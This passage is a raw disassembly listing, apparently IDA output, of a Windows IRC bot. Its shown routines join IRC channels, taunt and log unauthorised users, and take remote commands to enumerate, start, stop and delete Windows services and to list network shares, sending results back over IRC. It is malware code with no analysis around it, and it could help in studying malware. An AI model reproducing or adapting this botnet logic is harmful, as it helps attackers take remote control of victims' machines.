; ---------------------------------------------------------------------------
loc_40F6E1: ; CODE XREF: .nsp0:0040F6C3j
push eax
push offset dword_42CE74
jmp short loc_40F72B
; ---------------------------------------------------------------------------
loc_40F6E9: ; CODE XREF: .nsp0:0040F6AEj
; .nsp0:0040F6B3j
push eax
push offset dword_42CE34
jmp short loc_40F72B
; ---------------------------------------------------------------------------
loc_40F6F1: ; CODE XREF: .nsp0:0040F6A3j
mov edi, [ebp+20h]
xor esi, esi
loc_40F6F6: ; CODE XREF: .nsp0:0040F712j
push dword ptr [ebp-94h]
push edi
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40F716
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40F6F6
jmp short loc_40F73A
; ---------------------------------------------------------------------------
loc_40F716: ; CODE XREF: .nsp0:0040F706j
mov eax, [ebp+20h]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp-0C4h]
push eax
push offset dword_42FC54
loc_40F72B: ; CODE XREF: .nsp0:0040BC32j
; .nsp0:0040BC60j ...
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
add esp, 0Ch
loc_40F73A: ; CODE XREF: .nsp0:0040BC16j
; .nsp0:0040BC46j ...
cmp [ebp-8], ebx
jnz short loc_40F75B
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 14h
loc_40F75B: ; CODE XREF: .nsp0:0040B3FEj
; .nsp0:0040F73Dj ...
push 1
pop esi
jmp loc_40C0A3
; ---------------------------------------------------------------------------
loc_40F763: ; CODE XREF: .nsp0:0040AFB2j
; .nsp0:0040AFC7j
push dword ptr [ebp-90h]
push offset a332 ; "332"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40F7D2
call sub_411B63
push ebx
call dword_41D108 ; ExitProcess
loc_40F785: ; CODE XREF: .nsp0:0040AF88j
; .nsp0:0040AF9Dj
push dword ptr [ebp+esi-90h]
xor eax, eax
cmp [ebp-9A4h], bl
setnz al
push eax
lea eax, [ebp-564h]
push dword_425B74
push eax
call sub_4110D8
lea eax, [ebp-564h]
push eax
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
lea eax, [ebp-564h]
push eax
push offset dword_42CDFC
call sub_408E8B
loc_40F7CF: ; CODE XREF: .nsp0:0040C9FCj
add esp, 24h
loc_40F7D2: ; CODE XREF: .nsp0:0040A97Cj
; .nsp0:0040A988j ...
mov eax, [ebp+2Ch]
jmp loc_40A7B7
; ---------------------------------------------------------------------------
loc_40F7DA: ; CODE XREF: .nsp0:0040AA0Bj
; .nsp0:0040AA20j
mov esi, [ebp+esi-90h]
cmp esi, ebx
mov [ebp+8], esi
jz loc_40A7B4
cmp [ebp-0A8h], ebx
jnz loc_40A7B4
push offset dword_428DB8
push dword ptr [ebp-94h]
call sub_413668
mov esi, eax
push offset dword_432704
push ebx
inc esi
call sub_413668
push offset asc_42CDF8 ; "~"
push eax
call sub_413668
push dword ptr [ebp+8]
mov edi, eax
push offset aHi ; "hi"
call sub_412310
add esp, 20h
test eax, eax
jz short loc_40F870
lea eax, [ebp-0C4h]
push edi
push eax
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
push edi
push esi
push offset dword_42CD6C
jmp short loc_40F8CC
; ---------------------------------------------------------------------------
loc_40F870: ; CODE XREF: .nsp0:0040F835j
mov dword ptr [ebp+2Ch], offset off_425C1C
loc_40F877: ; CODE XREF: .nsp0:0040F893j
mov eax, [ebp+2Ch]
push edi
push dword ptr [eax]
call sub_411CF3
pop ecx
test eax, eax
pop ecx
jnz short loc_40F8E0
add dword ptr [ebp+2Ch], 4
cmp dword ptr [ebp+2Ch], offset off_425C20
jl short loc_40F877
lea eax, [ebp-0C4h]
push edi
push eax
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
push edi
push esi
push offset dword_42CD2C
loc_40F8CC: ; CODE XREF: .nsp0:0040F86Ej
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
add esp, 30h
jmp loc_40F75B
; ---------------------------------------------------------------------------
loc_40F8E0: ; CODE XREF: .nsp0:0040F886j
mov edi, [ebp+20h]
xor esi, esi
loc_40F8E5: ; CODE XREF: .nsp0:0040F90Fj
cmp [ebp+8], ebx
jz loc_40A7B4
cmp [edi], bl
jnz short loc_40F905
push dword ptr [ebp+8]
push offset aHi ; "hi"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40F916
loc_40F905: ; CODE XREF: .nsp0:0040F8F0j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40F8E5
jmp loc_40A7B4
; ---------------------------------------------------------------------------
loc_40F916: ; CODE XREF: .nsp0:0040F903j
shl esi, 7
add esi, [ebp+20h]
lea eax, [ebp-0A94h]
push 7Fh
push eax
push esi
call sub_413710
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_40F94D
push ebx
push dword ptr [ebp-4]
push offset dword_42CCF8
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 14h
loc_40F94D: ; CODE XREF: .nsp0:0040F931j
lea eax, [ebp-0C4h]
push eax
push offset dword_42CCC4
loc_40F959: ; CODE XREF: .nsp0:0040A8D4j
; .nsp0:0040F30Ej
call sub_408E8B
pop ecx
loc_40F95F: ; CODE XREF: .nsp0:0040C8A3j
pop ecx
jmp loc_40A7B4
; ---------------------------------------------------------------------------
loc_40F965: ; CODE XREF: .nsp0:0040A547j
; .nsp0:0040A55Cj
push dword ptr [ebp+18h]
push offset aUserhostS ; "USERHOST %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
push offset dword_425BF8
push dword ptr [ebp+18h]
push offset aModeSS ; "MODE %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
add esp, 2Ch
mov dword_4620C8, edi
jmp loc_40A5D6
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F9AB proc near ; CODE XREF: sub_40A1C1+3Dp
; .nsp0:0040A504p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_413D3F
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_433B18 ; send
leave
retn
sub_40F9AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F9F1 proc near ; CODE XREF: sub_401000+88p
; .nsp0:004014BDp ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_40FA0C
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_40FA0C: ; CODE XREF: sub_40F9F1+14j
push edi
call sub_4126F0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_4126F0
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41246A
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset dword_42FD5C
push eax
call sub_411EEE
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_433B18 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_40FA8A
push 7D0h
call dword_41D05C ; Sleep
locret_40FA8A: ; CODE XREF: sub_40F9F1+8Cj
leave
retn
sub_40F9F1 endp
; =============== S U B R O U T I N E =======================================
sub_40FA8C proc near ; CODE XREF: .nsp0:loc_40BE5Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_40FAF1
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_42FD70[esi]
push edi
push eax
call sub_40FB13
add esp, 14h
test eax, eax
jnz short loc_40FAD4
push edi
push off_42FD6C[esi]
mov esi, offset dword_462790
push offset dword_42FEA4
push esi
call sub_411EEE
add esp, 10h
jmp short loc_40FB0E
; ---------------------------------------------------------------------------
loc_40FAD4: ; CODE XREF: sub_40FA8C+2Aj
push eax
call sub_40FBB5
push eax
push edi
mov esi, offset dword_462790
push offset dword_42FE68
push esi
call sub_411EEE
add esp, 14h
jmp short loc_40FB0E
; ---------------------------------------------------------------------------
loc_40FAF1: ; CODE XREF: sub_40FA8C+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_462790
push off_42FD68[eax*4]
push offset dword_42FE30
push esi
call sub_411EEE
add esp, 0Ch
loc_40FB0E: ; CODE XREF: sub_40FA8C+46j
; sub_40FA8C+63j
mov eax, esi
pop edi
pop esi
retn
sub_40FA8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FB13 proc near ; CODE XREF: sub_40FA8C+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_433ABC ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_40FB3A
call dword_41D06C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_40FBAF
; ---------------------------------------------------------------------------
loc_40FB3A: ; CODE XREF: sub_40FB13+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4339B0 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_40FB5A
call dword_41D06C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_40FBA7
; ---------------------------------------------------------------------------
loc_40FB5A: ; CODE XREF: sub_40FB13+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_40FB8D
cmp eax, 3
jz short loc_40FB7E
jle short loc_40FBA0
cmp eax, 6
jg short loc_40FBA0
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_433A18 ; ControlService
jmp short loc_40FB94
; ---------------------------------------------------------------------------
loc_40FB7E: ; CODE XREF: sub_40FB13+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4339B8 ; StartServiceA
jmp short loc_40FB94
; ---------------------------------------------------------------------------
loc_40FB8D: ; CODE XREF: sub_40FB13+4Dj
push esi
call dword_433A1C ; DeleteService
loc_40FB94: ; CODE XREF: sub_40FB13+69j
; sub_40FB13+78j
test eax, eax
jnz short loc_40FBA0
call dword_41D06C ; RtlGetLastWin32Error
mov ebx, eax
loc_40FBA0: ; CODE XREF: sub_40FB13+54j
; sub_40FB13+59j ...
push esi
call dword_4339CC ; CloseServiceHandle
loc_40FBA7: ; CODE XREF: sub_40FB13+45j
push edi
call dword_4339CC ; CloseServiceHandle
pop esi
loc_40FBAF: ; CODE XREF: sub_40FB13+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_40FB13 endp
; =============== S U B R O U T I N E =======================================
sub_40FBB5 proc near ; CODE XREF: sub_40FA8C+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_40FC6A
jz loc_40FC63
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_40FC2D
jz short loc_40FC23
mov ecx, eax
sub ecx, 3
jz short loc_40FC19
dec ecx
dec ecx
jz short loc_40FC0F
dec ecx
jz short loc_40FC05
sub ecx, 51h
jz short loc_40FBFB
sub ecx, 24h
jnz loc_40FCE0 ; default
; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FBFB: ; CODE XREF: sub_40FBB5+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FC05: ; CODE XREF: sub_40FBB5+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FC0F: ; CODE XREF: sub_40FBB5+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FC19: ; CODE XREF: sub_40FBB5+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FC23: ; CODE XREF: sub_40FBB5+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FC2D: ; CODE XREF: sub_40FBB5+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_40FC5C
dec ecx
jz short loc_40FC55
dec ecx
jz short loc_40FC4E
dec ecx
jnz loc_40FCE0 ; default
; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FC4E: ; CODE XREF: sub_40FBB5+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FC55: ; CODE XREF: sub_40FBB5+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FC5C: ; CODE XREF: sub_40FBB5+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FC63: ; CODE XREF: sub_40FBB5+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FC6A: ; CODE XREF: sub_40FBB5+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_40FCE0 ; default
; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16
jz short loc_40FCCD
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_40FCE0 ; default
; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_40FD21[ecx]
jmp off_40FCF9[ecx*4] ; switch jump
loc_40FC8E: ; DATA XREF: .nsp0:off_40FCF9o
push offset aTheSpecifiedDa ; jumptable 0040FC87 case 7
jmp short loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FC95: ; CODE XREF: sub_40FBB5+D2j
; DATA XREF: .nsp0:off_40FCF9o
push offset aTheServiceDepe ; jumptable 0040FC87 case 17
jmp short loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FC9C: ; CODE XREF: sub_40FBB5+D2j
; DATA XREF: .nsp0:off_40FCF9o
push offset aTheServiceDe_0 ; jumptable 0040FC87 case 10
jmp short loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FCA3: ; CODE XREF: sub_40FBB5+D2j
; DATA XREF: .nsp0:off_40FCF9o
push offset aTheServiceHasB ; jumptable 0040FC87 case 0
jmp short loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FCAA: ; CODE XREF: sub_40FBB5+D2j
; DATA XREF: .nsp0:off_40FCF9o
push offset aTheSpecified_0 ; jumptable 0040FC87 case 2
jmp short loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FCB1: ; CODE XREF: sub_40FBB5+D2j
; DATA XREF: .nsp0:off_40FCF9o
push offset aTheServiceCoul ; jumptable 0040FC87 case 11
jmp short loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FCB8: ; CODE XREF: sub_40FBB5+D2j
; DATA XREF: .nsp0:off_40FCF9o
push offset aTheServiceHa_0 ; jumptable 0040FC87 case 14
jmp short loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FCBF: ; CODE XREF: sub_40FBB5+D2j
; DATA XREF: .nsp0:off_40FCF9o
push offset aTheRequested_1 ; jumptable 0040FC87 case 3
jmp short loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FCC6: ; CODE XREF: sub_40FBB5+D2j
; DATA XREF: .nsp0:off_40FCF9o
push offset aTheServiceHasN ; jumptable 0040FC87 case 4
jmp short loc_40FCD2
; ---------------------------------------------------------------------------
loc_40FCCD: ; CODE XREF: sub_40FBB5+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_40FCD2: ; CODE XREF: sub_40FBB5+41j
; sub_40FBB5+4Bj ...
push offset dword_4620D0
call sub_411EEE
pop ecx
pop ecx
jmp short loc_40FCF3
; ---------------------------------------------------------------------------
loc_40FCE0: ; CODE XREF: sub_40FBB5+36j
; sub_40FBB5+89j ...
push eax ; default
; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4620D0
call sub_411EEE
add esp, 0Ch
loc_40FCF3: ; CODE XREF: sub_40FBB5+129j
mov eax, offset dword_4620D0
retn
sub_40FBB5 endp
; ---------------------------------------------------------------------------
off_40FCF9 dd offset loc_40FCA3 ; DATA XREF: sub_40FBB5+D2r
dd offset loc_40FCAA ; jump table for switch statement
dd offset loc_40FCBF
dd offset loc_40FCC6
dd offset loc_40FC8E
dd offset loc_40FC9C
dd offset loc_40FCB1
dd offset loc_40FCB8
dd offset loc_40FC95
dd offset loc_40FCE0
byte_40FD21 db 0, 9, 1, 2 ; DATA XREF: sub_40FBB5+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FD33 proc near ; CODE XREF: .nsp0:0040BE85p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_433ABC ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 14h
loc_40FD6B: ; CODE XREF: sub_40FD33+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_433A88 ; EnumServicesStatusA
test eax, eax
jnz short loc_40FDA5
call dword_41D06C ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_40FE59
loc_40FDA5: ; CODE XREF: sub_40FD33+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_40FE50
lea esi, [ebp+var_188]
loc_40FDB6: ; CODE XREF: sub_40FD33+117j
mov eax, [esi+8]
dec eax
jz short loc_40FDFF
dec eax
jz short loc_40FDF8
dec eax
jz short loc_40FDF1
dec eax
jz short loc_40FDEA
dec eax
jz short loc_40FDE3
dec eax
jz short loc_40FDDC
dec eax
jz short loc_40FDD5
push offset aUnknown_1 ; " Unknown"
jmp short loc_40FE04
; ---------------------------------------------------------------------------
loc_40FDD5: ; CODE XREF: sub_40FD33+99j
push offset aPaused_0 ; " Paused"
jmp short loc_40FE04
; ---------------------------------------------------------------------------
loc_40FDDC: ; CODE XREF: sub_40FD33+96j
push offset aPausing ; " Pausing"
jmp short loc_40FE04
; ---------------------------------------------------------------------------
loc_40FDE3: ; CODE XREF: sub_40FD33+93j
push offset aContinuing ; " Continuing"
jmp short loc_40FE04
; ---------------------------------------------------------------------------
loc_40FDEA: ; CODE XREF: sub_40FD33+90j
push offset aRunning_0 ; " Running"
jmp short loc_40FE04
; ---------------------------------------------------------------------------
loc_40FDF1: ; CODE XREF: sub_40FD33+8Dj
push offset aStoping ; " Stoping"
jmp short loc_40FE04
; ---------------------------------------------------------------------------
loc_40FDF8: ; CODE XREF: sub_40FD33+8Aj
push offset aStarting ; " Starting"
jmp short loc_40FE04
; ---------------------------------------------------------------------------
loc_40FDFF: ; CODE XREF: sub_40FD33+87j
push offset aStopped ; " Stopped"
loc_40FE04: ; CODE XREF: sub_40FD33+A0j
; sub_40FD33+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_411EEE
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_40FDB6
loc_40FE50: ; CODE XREF: sub_40FD33+77j
cmp [ebp+var_8], ebx
jnz loc_40FD6B
loc_40FE59: ; CODE XREF: sub_40FD33+6Cj
push [ebp+var_C]
call dword_4339CC ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_40FD33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FE70 proc near ; CODE XREF: .nsp0:loc_40BF3Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_40FF09
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_40FE99
dec eax
jnz short loc_40FEE9
push edi
push 0
call sub_410042
pop ecx
pop ecx
jmp short loc_40FEE5
; ---------------------------------------------------------------------------
loc_40FE99: ; CODE XREF: sub_40FE70+18j
cmp [ebp+arg_8], 0
jnz short loc_40FED7
push 24h
push edi
call sub_414140
pop ecx
test eax, eax
pop ecx
jnz short loc_40FED7
push 57h
pop eax
loc_40FEB0: ; CODE XREF: sub_40FE70+77j
push eax
call sub_41081A
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_46238C
push off_42FD68[eax*4]
push offset dword_430474
push esi
call sub_411EEE
add esp, 18h
jmp short loc_40FF29
; ---------------------------------------------------------------------------
loc_40FED7: ; CODE XREF: sub_40FE70+2Dj
; sub_40FE70+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_40FF96
add esp, 0Ch
loc_40FEE5: ; CODE XREF: sub_40FE70+27j
test eax, eax
jnz short loc_40FEB0
loc_40FEE9: ; CODE XREF: sub_40FE70+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_46238C
push off_42FD6C[eax*4]
push offset dword_430444
push esi
call sub_411EEE
add esp, 10h
jmp short loc_40FF29
; ---------------------------------------------------------------------------
loc_40FF09: ; CODE XREF: sub_40FE70+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_46238C
lea eax, [eax+eax*2]
push off_42FD68[eax*4]
push offset dword_43040C
push esi
call sub_411EEE
add esp, 0Ch
loc_40FF29: ; CODE XREF: sub_40FE70+65j
; sub_40FE70+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_40FE70 endp
; =============== S U B R O U T I N E =======================================
sub_40FF2F proc near ; CODE XREF: sub_41135F+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_40FF3C
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40FF3C: ; CODE XREF: sub_40FF2F+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_41D12C
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; dword_41D12C
test byte_46258C, 1
mov ebp, eax
jnz short loc_40FF79
or byte_46258C, 1
lea eax, [ebp+1]
push eax
call sub_413195
pop ecx
mov dword_46232C, eax
loc_40FF79: ; CODE XREF: sub_40FF2F+32j
push esi
push esi
push ebp
push dword_46232C
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; dword_41D12C
mov eax, dword_46232C
pop edi
pop ebp
pop ebx
pop esi
retn
sub_40FF2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FF96 proc near ; CODE XREF: sub_40FE70+6Dp
; .nsp0:0041180Dp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_410001
push [ebp+arg_4]
mov edi, eax
call sub_410001
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_414140
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_410001
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4339C8
pop edi
leave
retn
sub_40FF96 endp
; =============== S U B R O U T I N E =======================================
sub_410001 proc near ; CODE XREF: sub_40FF96+Ap
; sub_40FF96+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_41000E
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41000E: ; CODE XREF: sub_410001+9j
push ebx
push esi
mov esi, dword_41D130
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; dword_41D130
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_413195
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; dword_41D130
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_410001 endp
; =============== S U B R O U T I N E =======================================
sub_410042 proc near ; CODE XREF: sub_40FE70+20p
; sub_41135F+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_410001
push [esp+8+arg_4]
mov esi, eax
call sub_410001
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4339A0
pop esi
retn
sub_410042 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410065 proc near ; CODE XREF: .nsp0:0040BF68p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_410001
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 18h
loc_41009E: ; CODE XREF: sub_410065+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_433A14
mov ebx, eax
cmp ebx, esi
jz short loc_410101
cmp ebx, 0EAh
jz short loc_410101
push ebx
push ebx
call sub_41081A
pop ecx
push eax
lea eax, [ebp+var_210]
push offset dword_4304D4
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 24h
jmp short loc_41016E
; ---------------------------------------------------------------------------
loc_410101: ; CODE XREF: sub_410065+5Dj
; sub_410065+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_410165
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_41010F: ; CODE XREF: sub_410065+FCj
push dword ptr [esi+10h]
call dword_4339BC ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
